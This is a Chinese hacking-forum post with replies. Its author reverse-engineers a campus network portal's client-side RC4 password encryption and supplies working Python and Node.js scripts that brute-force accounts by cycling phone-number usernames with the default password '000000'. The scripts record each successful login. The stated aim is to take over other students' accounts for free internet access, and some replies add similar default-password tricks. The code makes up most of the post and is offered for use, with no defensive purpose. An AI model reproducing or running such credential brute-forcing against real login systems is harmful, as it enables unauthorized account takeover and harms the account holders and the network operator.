吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 15155|回复: 218
收起左侧

[Web逆向] 校园网登陆密码逆向,并实现弱密码账号爆破

    [复制链接]
noahfeng 发表于 2023-3-14 18:46
1.介绍: 在好贵的校园网的驱使下,终于没忍住。上完课没啥事干。(没网憋得)看能不能用校园网的初始密码爆几个账号出来自己用用。


2.然后先是连接上校园网,直接浏览器跳转到了登陆界面


随便整个号登录一下,看一下登录的包



可以看到pwd =密码是经过加密的。还有个auth_tag不知道是什么。但是知道,这都是在前端的js进行加密的。我们也当然使用最简单的方法,直接找到负责加密的js代码,放在本机上运行看看。

下面就直接用pwd和auth_tag在js文件里面找一下了。
F12打开开发者工具,点击网络,筛选js,刷新一下。ctrl+f  搜索一下pwd或者auth_tag,当然是优先搜索auth_tag的。因为它可能在其他包里面的可能很小(能懂吧),出现了那就八九不离十了。
如图这样。
微信截图_20230314175915.png
搜索之后,挨个点一下,看看哪些出现auth_tag的文件都是哪一个。这里是都指向了login_new.js

然后右键选择"在来源页面打开"  然后就能看到这个文件的完整代码了。

可以看到pwd也在。然后就是断点调试,像下面这样,把可能的点都打上。
6.png

调试之后,顺藤摸瓜,把函数都找出来。最后像下面这样。

[JavaScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
function do_encrypt_rc4(src, passwd) {
    src = $.trim(src+'');    //这里就是处理一下src两边的空白  如过放在自己的环境里面报错直接不要就行
    passwd = passwd + '';
    var i, j = 0, a = 0, b = 0, c = 0, temp;
    var plen = passwd.length,
        size = src.length;
 
    var key = Array(256); //int
    var sbox = Array(256); //int
    var output = Array(size); //code of data
    for (i = 0; i < 256; i++) {
        key[i] = passwd.charCodeAt(i % plen);
        sbox[i] = i;
    }
    for (i = 0; i < 256; i++) {
        j = (j + sbox[i] + key[i]) % 256;
        temp = sbox[i];
        sbox[i] = sbox[j];
        sbox[j] = temp;
    }
    for (i = 0; i < size; i++) {
        a = (a + 1) % 256;
        b = (b + sbox[a]) % 256;
        temp = sbox[a];
        sbox[a] = sbox[b];
        sbox[b] = temp;
        c = (sbox[a] + sbox[b]) % 256;
        temp = src.charCodeAt(i) ^ sbox[c];//String.fromCharCode(src.charCodeAt(i) ^ sbox[c]);
        temp = temp.toString(16);
        if (temp.length === 1) {
            temp = '0' + temp;
        } else if (temp.length === 0) {
            temp = '00';
        }
        output[i] = temp;
    }
    return output.join('');
}
 
var rckey = +(new Date()) + '';     //就是生成一个时间戳
    var pwd = do_encrypt_rc4(pwdVal, rckey);   //这里的do_encry_r4就是加密的函数,断点调试,会跳进去,也贴在自己的程序里就行。  pwdval就是明文密码
    var params = {
        opr: 'pwdLogin', //smsLogin表示短信认证登录,pwdLogin表示密码认证登录
        userName: userVal,
        pwd : pwd,
        auth_tag: rckey,
        rememberPwd: $id("rememberPwd") && $id("rememberPwd").checked ? '1' : '0'
    };


到此就是表单上的两个加密字段逆向结束。

---------------------------------------------------------------分割符-----------------------------------------------------------------
下面就是直接上py代码,用于发送包,爆破密码。
[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#导入包
import requests
import subprocess  #用于和js交互的
import threading
#设置请求头
headers = {
    'Cache-Control': 'no-cache',
    'Connection': 'keep-alive',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Origin': 'http://1.1.1.2',
    'Pragma': 'no-cache',
    'Referer': 'http://1.1.1.2/ac_portal/20230304150257/pc.html?template=20230304150257&tabs=pwd&vlanid=1026&url=http://www.msftconnecttest.com%2fredirect',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
    'X-Requested-With': 'XMLHttpRequest',
}
 
# 给js传递user的值
def get_phone(phone_num):
    user=str(phone_num)
    result = subprocess.run(['node', 'jiami.js',user], capture_output=True)
    pwd_auth = (result.stdout.decode()).split()   //用于接收js返回的值
    data_str=f"opr=pwdLogin&userName={pwd_auth[0]}&pwd={pwd_auth[1]}&auth_tag={pwd_auth[2]}&rememberPwd=0"   //直接按照字符串传过去,其他格式报错比如json
 
    #进行请求
    response = requests.post('http://1.1.1.2/ac_portal/login.php', headers=headers, data=data_str) 
    json_text=response.text
    if "'success':true" in json_text:
        with open('pyyhone.txt','a') as f:
            f.write('0'+str(phone_num)+'\n')
        print(json_text)
 
for user in [一直账号的前几位+后四位变为0]:
    for i in range(1,9999):
        user=user+1
        print(f"正在检测{user}")
        # 创建多个线程
        threads = []
        t = threading.Thread(target=get_phone(user))
        threads.append(t)
        # 启动所有线程
        t.start()
        # 等待所有线程执行完毕
        if i%100==0:
            for t in threads:
                t.join()

下面在附上我改过的js代码(为了适应node.js.我电脑上只有node.js环境,和与py代码实现user传递,和pwd以及auth_tag的接收)
[JavaScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
function do_encrypt_rc4(src, passwd) {
     
    //src = $.trim(src+'');
    passwd = passwd + '';
    var i, j = 0, a = 0, b = 0, c = 0, temp;
    var plen = passwd.length,
        size = src.length;
 
    var key = Array(256); //int
    var sbox = Array(256); //int
    var output = Array(size); //code of data
    for (i = 0; i < 256; i++) {
        key[i] = passwd.charCodeAt(i % plen);
        sbox[i] = i;
    }
    for (i = 0; i < 256; i++) {
        j = (j + sbox[i] + key[i]) % 256;
        temp = sbox[i];
        sbox[i] = sbox[j];
        sbox[j] = temp;
    }
    for (i = 0; i < size; i++) {
        a = (a + 1) % 256;
        b = (b + sbox[a]) % 256;
        temp = sbox[a];
        sbox[a] = sbox[b];
        sbox[b] = temp;
        c = (sbox[a] + sbox[b]) % 256;
        temp = src.charCodeAt(i) ^ sbox[c];//String.fromCharCode(src.charCodeAt(i) ^ sbox[c]);
        temp = temp.toString(16);
        if (temp.length === 1) {
            temp = '0' + temp;
        } else if (temp.length === 0) {
            temp = '00';
        }
        output[i] = temp;
    }
    return output.join('');
}
 
//主代码
var user=process.argv[2];
var password='000000'          //初始弱密码6个0
var rckey = +(new Date()) + '';   //这就是当前时间
 
var pwd = do_encrypt_rc4(password,rckey); //password= 明文密码
 
var params = {
    opr: 'pwdLogin', //smsLogin表示短信认证登录,pwdLogin表示密码认证登录
    userName:user,
    pwd : pwd,
    auth_tag: rckey,
    rememberPwd: 0
};
 
 
var data=user+' '+pwd+' '+rckey
process.stdout.write(data);


好了,overover收工!!!!!!

免费评分

参与人数 29吾爱币 +27 热心值 +28 收起 理由
oldfox20042001 + 1 我很赞同!
Shi2002 + 1 + 1 用心讨论,共获提升!
涛之雨 + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
笙若 + 1 + 1 谢谢@Thanks!
WowtqL + 1 我很赞同!
braum666 + 1 + 1 谢谢@Thanks!
Petrovich + 1 谢谢@Thanks!
yyds999 + 1 + 1 感谢分享
zhaoyangdr + 1 + 1 谢谢@Thanks!
1718022432 + 1 + 1 热心回复!
l821523193 + 1 + 1 谢谢@Thanks!
MSz4466 + 1 + 1 我很赞同!
VVovo + 1 + 1 热心回复!
qaz2wsx + 1 + 1 用心讨论,共获提升!
Carry666 + 1 + 1 我很赞同!
shiqi666 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
CasualKeyL233 + 1 用心讨论,共获提升!
qazwert + 1 + 1 谢谢@Thanks!
WinBoard + 1 + 1 谢谢大佬提供思路,野生小白路过&amp;#128525;
cjw666 + 1 + 1 用心讨论,共获提升!
wuyuzhiren + 1 + 1 我很赞同!
yeager567 + 1 热心回复!
yyyao2008 + 1 热心回复!
shenxian66 + 1 + 1 谢谢@Thanks!
lfm333 + 1 + 1 谢谢@Thanks!
LongDayDream + 1 用心讨论,共获提升!
heishehui + 1 我很赞同!
CasperFeehily + 1 我很赞同!厉害厉害
SBKK123456 + 1 + 1 会不会被学校逮住啊哈哈哈

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Lthero 发表于 2023-3-17 13:48
同学您好,学号报下,我给您加创新学分
faith9527 发表于 2023-3-15 14:47
头像被屏蔽
tl;dr 发表于 2023-3-15 07:04
a33463 发表于 2023-5-19 20:11
我们学校上网账号是学生的学号,默认密码123456,学号都是连续有规律的,直接爆破一大堆不改密码的
Musiclab 发表于 2024-11-21 09:07
同学您好,学号报下,我给您加创新学分  话说这思路倒是值得借鉴学习的
Sanba24 发表于 2023-3-21 20:13
逮住了就死了吧
ghost1232123 发表于 2023-3-15 08:08
新手小白路过
superworker2022 发表于 2023-3-15 08:30
马上调试,怕被封IP
mycxr001 发表于 2023-3-15 08:45
看的不是很懂,还是得跟着学习一下
laustar 发表于 2023-3-15 08:46
感谢兄弟分享思路
GGlome 发表于 2023-3-15 08:50

新手小白路过~
dinmo 发表于 2023-3-15 08:51
看看大佬

kongxiaofang 发表于 2023-3-15 09:00
感谢分享~
wfghim 发表于 2023-3-15 09:04

看的不是很懂,还是得跟着学习一下
谢谢大牛分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-5-25 07:52

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表